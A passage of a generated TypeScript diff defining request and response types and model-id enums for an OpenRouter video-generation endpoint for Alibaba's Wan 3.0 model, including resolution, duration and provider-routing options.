'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosAlibabaWan30RequestModelEnumKey = + (typeof openrouterPostVideosAlibabaWan30RequestModelEnum)[keyof typeof openrouterPostVideosAlibabaWan30RequestModelEnum] + +export const openrouterPostVideosAlibabaWan30RequestResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosAlibabaWan30RequestResolutionEnumKey = + (typeof openrouterPostVideosAlibabaWan30RequestResolutionEnum)[keyof typeof openrouterPostVideosAlibabaWan30RequestResolutionEnum] + +/** + * @description Alibaba: Wan 3.0 (alibaba/wan-3.0) — model-constrained video generation request. Wan 3.0 is a video generation model from Alibaba for text-to-video, image-to-video, and reference-guided video generation. It produces 480p, 720p, or 1080p video with durations from 2 to 30 seconds. + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan30Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosAlibabaWan30RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosAlibabaWan30RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosAlibabaWan30RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosAlibabaWan30RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosAlibabaWan30Options = { + body: OpenrouterPostVideosAlibabaWan30Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosAlibabaWan30Responses = { + '200': OpenrouterPostVideosAlibabaWan30Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosAlibabaWan30Response = + OpenrouterPostVideosAlibabaWan30Status200 + +export const openrouterPostVideosAlibabaWan30PrimeStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosAlibabaWan30PrimeStatus200StatusEnumKey = + (typeof openrouterPostVideosAlibabaWan30PrimeStatus200StatusEnum)[keyof typeof openrouterPostVideosAlibabaWan30PrimeStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan30PrimeStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosAlibabaWan30PrimeStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosAlibabaWan30PrimeRequestAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosAlibabaWan30PrimeRequestAspectRatioEnumKey = + (typeof openrouterPostVideosAlibabaWan30PrimeRequestAspectRatioEnum)[keyof typeof openrouterPostVideosAlibabaWan30PrimeRequestAspectRatioEnum] + +export const openrouterPostVideosAlibabaWan30PrimeRequestDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, + '21': 21, + '22': 22, + '23': 23, + '24': 24, + '25': 25, + '26': 26, + '27': 27, + '28': 28, + '29': 29, + '30': 30, +} as const + +export type OpenrouterPostVideosAlibabaWan30PrimeRequestDurationEnumKey = + (typeof openrouterPostVideosAlibabaWan30PrimeRequestDurationEnum)[keyof typeof openrouterPostVideosAlibabaWan30PrimeRequestDurationEnum] + +export const openrouterPostVideosAlibabaWan30PrimeRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 